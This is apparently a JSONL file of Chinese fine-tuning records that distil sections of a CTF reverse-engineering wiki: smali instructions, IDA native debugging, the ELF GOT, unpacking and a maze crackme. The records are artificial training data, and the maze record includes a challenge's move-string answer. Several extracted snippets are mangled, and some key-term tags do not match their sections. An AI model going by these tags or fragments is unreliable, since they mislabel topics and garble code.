{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-49a0bfd936ac0929379a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「数据定义指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 数据定义指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数据定义指令”展开。\n- ` 那么编译之后得到的代码如下 `smali const/4 v10, 0x1 const/4 v10, 0x0 const/4 v0, 0x1 const/4 v8, 0x2 const/4 v5, 0x3 const-wide/16 v6, 0x4 const v4, 0x3dcccccd # 0.1f const-wide v2, 0x3fc999999999999aL # 0.2 const-string v9, \"test\" const-class v1, Ljava/lang/Object;\n- 此外，一般来说，smali会自动帮我们将string的id转换为其真正的字符串。\n- `` 可以看出，根据数据类型大小的不同，会采用不同的语法。\n- | 举个例子，如果java代码如下 ``java boolean z = true;\n- 此外，我们可以看到float的字面值是0x3dcccccd，这其实就是0.1。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 10 行，首行 `boolean z = true;`\n- smali: 10 行，首行 `const/4 v10, 0x1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1885, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数据定义指令", "heading_path": ["interfaces", "执行语句", "具体指令", "数据定义指令"], "original_id": "docs-780680a229cc1ef7869f", "original_line": 52, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "90cd27cf042730ae87f3881d", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-4c0cd4d917d1391eb677", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「实例操作指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 实例操作指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“实例操作指令”展开。\n- ` 其对应的smali代码如下 `smali new-instance v0, Ljava/lang/Object;\n- ` 其对应的smali代码如下 `smali const-string v0, \"test\" instance-of v1, v0, Ljava/lang/String;\n- ` 其对应的smali代码如下 `smali const-string v0, \"test\" check-cast v0, Ljava/lang/Object;\n- >()V ` 再比如我们可以进行如下的类型判断 `java String s = \"test\";\n- 如果类型B指定的是基本类型，对于非基本类型的A来说，运行时始终会失败 | | instance-of vA, vB, type@CCCC | 判断vB寄存器中的对象引用是否可以转换成指定的类型，如果可以，vA寄存器被赋值为1，否则vA寄存器被 赋值为0。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 1 行，首行 `Object obj = new Object();`\n- smali: 2 行，首行 `new-instance v0, Ljava/lang/Object;`\n- java: 2 行，首行 `String s = \"test\";`\n- smali: 2 行，首行 `const-string v0, \"test\"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1315, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "实例操作指令", "heading_path": ["interfaces", "执行语句", "具体指令", "实例操作指令"], "original_id": "docs-c4e0c0105238ac5d5315", "original_line": 57, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "cd2862b228cf97c4633986c5", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-4e189455168e6155e879", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「启动调试」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：IDA 动态调试原生层程序 > 基本原生程序调试-法1 > 启动调试\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“启动调试”展开。\n- > > [图片文件: ./figure/debug_run_linker.png] > > 3. 如果遇到error: only position independent executables (PIE) are supported.一般是因为android手机的版本大于5，可以尝试 > > - 使用android_server的PIE版本 > - 利用010Editor将可执行ELF文件的header中的elf header字段中的e_type改为ET_DYN(3)。\n- 根据原生层程序的位数选择相应的 ida，然后选择 Debugger-Run-RemoteArmLinux/Android debugger，如下界面 [图片文件: ./figure/debug_run_android.png] 其中，重要的参数意义如下 - Application - 被调试程序在手机上的绝对路径。\n- 其中 Debug options 选择如下 [图片文件: ./figure/debug_run_setup.png] 主要是选择了三个 Events，使得我们的程序可以在入口点，线程启动时，library加载时自动停止。\n- Directory - 被调试程序在手机中的目录 - Hostname - 即我们与哪个主机进行通信，这里我们直接和本地PC进行通信。\n- 启动程序后，如下 [图片文件: ./figure/debug_run_run.png] 注： > 1. 如果发现can not load plugin ，那可能是手机没有root。\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 731, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "启动调试", "heading_path": ["IDA 动态调试原生层程序", "基本原生程序调试-法1", "启动调试"], "original_id": "docs-3871424399e14c093717", "original_line": 81, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "7d547622815990c076be0f27", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "dynamic", "ida-native-debug.md"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-50813fe6b7529c7837bd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「运行 smali」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：virtual methods > 运行 smali\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“运行 smali”展开。\n- 在将 smali 文件编译成 dex 文件后，我们可以进一步执行 首先，使用 adb 将 dex 文件 push 到手机上 ``shell adb push main.dex /sdcard/ ` 其次使用如下命令执行 `shell adb shell dalvikvm -cp /sdcard/main.dex main `` 其中 - 这里我们使用 dalvikvm 命令。\n- cp 指的是 classpath 路径，这里就是 /sdcard/main.dex。\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `adb push main.dex /sdcard/`\n- shell: 1 行，首行 `adb shell dalvikvm -cp /sdcard/main.dex main`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 263, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "运行 smali", "heading_path": ["virtual methods", "运行 smali"], "original_id": "docs-7679fae5b764ccb219a0", "original_line": 69, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "a20378c7ead2365613bf915c", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "smali", "code:shell"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-5192a73bc73e14f36da6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/introduction.md` 中的章节「非常规逆向思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/introduction.md`\n标题：软件逆向工程简介\n章节：软件逆向工程简介 > 非常规逆向思路\n路径分类：reverse / reverse/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“非常规逆向思路”展开。\n- lua/python/java/lua-jit/haskell/applescript/js/solidity/webassembly/etc.. - firmware/raw bin/etc.. - chip8/avr/clemency/risc-v/etc. 但是逆向工程的方法学里不惧怕这些未知的平台格式，遇到这样的非常规题，我们也有一些基本的流程可以通用\n- 非常规逆向题设计的题目范围非常之广，可以是任意架构的任意格式文件。\n\n关键术语：\n- 区块链安全\n- reverse\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 219, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "非常规逆向思路", "heading_path": ["软件逆向工程简介", "非常规逆向思路"], "original_id": "docs-1ad321e40797b7c22c4d", "original_line": 1472, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "source_root": "docs", "source_sha256": "768d6c888495fdf1c7fba9f305b7709fab79f182d1e6812c5f92443f4bf7d7df", "split": "train", "split_group_key": "9e9590bd858ba128f6370620", "subcategory": "reverse/introduction.md", "terms": ["区块链安全", "reverse", "introduction.md"], "title": "软件逆向工程简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-51f43bcd8ad628e71d47", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「数组操作指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 数组操作指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数组操作指令”展开。\n- ` 其对应的smali如下 `smali const/4 v1, 0xa new-array v0, v1, I ` 如果我们直接在定义时，对数组进行初始化，如下 `smali int[] arr = {1, 2, 3, 4, 5};\n- ` 对应的smali如下 `smali const/4 v1, 0x1 const/4 v2, 0x2 const/4 v3, 0x3 const/4 v4, 0x4 const/4 v5, 0x5 filled-new-array {v1, v2, v3, v4, v5}, I move-result v0 ` 在寄存器连续的情况下，还可以写成如下代码 `smali const/4 v1, 0x1 const/4 v2, 0x2 const/4 v3, 0x3 const/4 v4, 0x4 const/4...\n- | 我们可以定义数组如下 ``java int[] arr = new int[10];\n- vCC寄存器指定数组元素索引，vAA寄存器用来存放读取的或需要设置的数组元素的值。\n- | 指令 | 说明 | | ---------------------------------------- | ---------------------------------------- | | array-length vA, vB | 获取给定vB寄存器中数组的长度并赋给vA寄存器，数组长度指的是数组中的元素个数。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 1 行，首行 `int[] arr = new int[10];`\n- smali: 2 行，首行 `const/4 v1, 0xa`\n- smali: 1 行，首行 `int[] arr = {1, 2, 3, 4, 5};`\n- smali: 7 行，首行 `const/4 v1, 0x1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1748, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数组操作指令", "heading_path": ["interfaces", "执行语句", "具体指令", "数组操作指令"], "original_id": "docs-4b921877cdb53eec074c", "original_line": 56, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "6d79b43dc35948bdef9999b0", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-532ad2babfa0d94f543a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/vm/vm.md` 中的章节「虚拟机分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/vm/vm.md`\n标题：虚拟机分析\n章节：虚拟机分析\n路径分类：reverse / reverse/vm/vm.md\n分块：1/1\n\n核心知识点：\n- 有关虚拟机分析部分, 我们以一道简单的crackme来进行讲解. 对应的crackme可以点击此处下载: FuelVM.exe 对应的keygenme可以点击此处下载: fuelvm_keygen.py 对应的IDA数据库可以点击此处下载: FuelVM.idb 本题作者设计了一个具有多种指令的简单虚拟机. 我们使用IDA来进行分析. 并为了方便讲解, 我对反汇编出的一些变量重新进行了命名.\n\n关键术语：\n- reverse\n- vm\n- vm.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 474, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "虚拟机分析", "heading_path": ["虚拟机分析"], "original_id": "docs-0ca840b00218ce030674", "original_line": 1579, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "source_root": "docs", "source_sha256": "49dd1218224f91698e8278961fe4a83f27c1af4393baa73434f368d1c1baf321", "split": "train", "split_group_key": "a6caa0ead7ca01d4c65a35c6", "subcategory": "reverse/vm/vm.md", "terms": ["reverse", "vm", "vm.md"], "title": "虚拟机分析"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-544a5905da6f8e5ceb3f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/maze/maze.md` 中的章节「Volga Quals CTF 2014: Reverse 100」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/maze/maze.md`\n标题：迷宫问题\n章节：迷宫问题 > Volga Quals CTF 2014: Reverse 100\n路径分类：reverse / reverse/maze/maze.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Volga Quals CTF 2014: Reverse 100”展开。\n- 接下来我们以这道题进行示例, 这是一道简单的迷宫题. 该题对地图按行乱序布置, 使用的字符是#和*. 对应的crackme可以点击此处下载: rev100 对应的idb可以点击此处下载: rev100.i64 [图片: setmaze.png;\n- 文件: ./figure/setmaze.png] 我们可以到.rodata段用光标选择所有的地图字符串, 按下shift+E提取所有的地图数据.\n- 文件: ./figure/extract_maze.png] 但是目前提取到的地图字符串, 从上往下并非是按顺序的, 因此我们需要回到IDA生成的伪C代码, 获取行号并重新排序组合起来. 最后得到的完整地图如下: 对应的迷宫地图文件可以点击此处下载: maze_array.txt [图片: maze_origin.png;\n- 文件: ./figure/maze_origin.png] 再来看迷宫移动所需要的字符: [图片: choice.png;\n- 文件: ./figure/choice.png] 这里我们知道, 可以使用的字符有L/R/U/D, 分别对应于左/右/上/下. 再往下看 [图片: check.png;\n\n关键术语：\n- reverse\n- maze\n- maze.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `RDDRRRRRRRRRRRRRRRRRRDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUULLLLLLLLLDDRRRRRRDDLLLLLLLLLLLLLUURRRUUUUURRRRRRR...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1590, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Volga Quals CTF 2014: Reverse 100", "heading_path": ["迷宫问题", "Volga Quals CTF 2014: Reverse 100"], "original_id": "docs-ac75103cb369297fcdac", "original_line": 1477, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/maze/maze.md", "source_root": "docs", "source_sha256": "ec8e5f919f1e9778dae65b36c48681fb21c8e34dba7d3318525f2dced8ffe220", "split": "train", "split_group_key": "c2acd9c9aea1be5fabb89a43", "subcategory": "reverse/maze/maze.md", "terms": ["reverse", "maze", "maze.md"], "title": "迷宫问题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/maze/maze.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-56319461c971b32eb549", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「Global Offset Table」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > Global Offset Table\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Global Offset Table”展开。\n- ` _GLOBAL_OFFSET_TABLE_`可能会在 .got 节的中间，以便于可以使用正负索引来访问这个表。\n- 一个程序可以使用位置独立代码来引用它的 GOT 表，然后提取出来绝对的数值，以便于将位置独立的引用重定向到绝对的地址。\n- 尽管在链接器建立目标文件时，绝对地址还处于未知状态，动态链接器知道所有内存段的地址，因为可以计算所包含的符号的绝对地址。\n- 如果一个程序需要直接访问一个符号的绝对地址，那么这个符号将会有一个 got 表项。\n- 动态链接器在把权限给到进程镜像中的代码段前，会处理所有的 got 表中的重定位项，以便于确保所有的绝对地址在执行过程中是可以访问的。\n\n关键术语：\n- executable\n- elf\n- structure\n- dynamic-sections.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `extern Elf32_Addr _GLOBAL_OFFSET_TABLE[];`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1269, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Global Offset Table", "heading_path": ["Dynamic Sections", "Global Offset Table"], "original_id": "docs-8ff5f36d1f5cefbda554", "original_line": 475, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "92ab97f725835a418aeac0bc", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "dynamic-sections.md"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-57228d2f953fa824ea85", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「格式ID」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > Dalvik指令格式 > 格式ID\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格式ID”展开。\n- 但是，正如表格里所展现的 [图片文件: ./figure/Dalvik-Instruction-sample.png] 这样的一种指令格式，根据ID的不同，仍然可以表示不同的指令含义。\n- 一般来说，格式ID由若干个字符组成，一般来说包含3个字符 - 第一个数字表示word的数量 - 第二个 - 数字的话，表示指令包含的寄存器的最大数量（这是因为有些指令可以包含不定个数的寄存器） - r的话，表示使用了一定范围内的寄存器(range)。\n- 如下表 | Mnemonic | Bit Sizes | Meaning | | -------- | --------- | ---------------------------------------- | | b | 8 | immediate signed byte | | c | 16, 32 | constant pool index | | f | 16 | interface constants (only used in statically linked formats) | | h |...\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 979, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "格式ID", "heading_path": ["interfaces", "执行语句", "Dalvik指令格式", "格式ID"], "original_id": "docs-c7c191b24f169b3644ee", "original_line": 49, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "f7f36c01b788eaa1c3604bcf", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-5790475553c7c8f91a5c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/trace.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/trace.md`\n标题：单步跟踪法\n章节：单步跟踪法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 文件: ./figure/trace_03.png] 显然, 我们到了一堆被Ollydbg误认为是数据的地方继续执行, 显然Ollydbg分析错误了, 我们需要让Ollydbg重新分析, 我们可以右键选择分析->从模块中删除分析, 或是按下ctrl+a`, 这时正确地显示出OEP处的汇编指令.\n- 文件: ./figure/trace_01.png] 步进后又是一个call, 我们继续步进, 按F7, 跟进后发现没有近call了, 我们可以看到程序在调GetModuleHandleA, GetProcAddress等API, 继续向下分析.\n- 文件: ./figure/trace_04.png]\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1386, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["单步跟踪法", "示例"], "original_id": "docs-cad384b2fb851b9ced0a", "original_line": 1549, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/trace.md", "source_root": "docs", "source_sha256": "5e1a3ec6d3a3497ca87e8a7c6ff70987d8e9242a675ff49c51fcd750f6d6eaad", "split": "train", "split_group_key": "d6d2384efbbd1d87d7b7ce97", "subcategory": "reverse/platform/windows", "terms": ["堆", "栈", "漏洞利用", "reverse", "platform", "windows", "unpack"], "title": "单步跟踪法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/trace.md", "split": "train", "type": "ctf_lora_sft"}
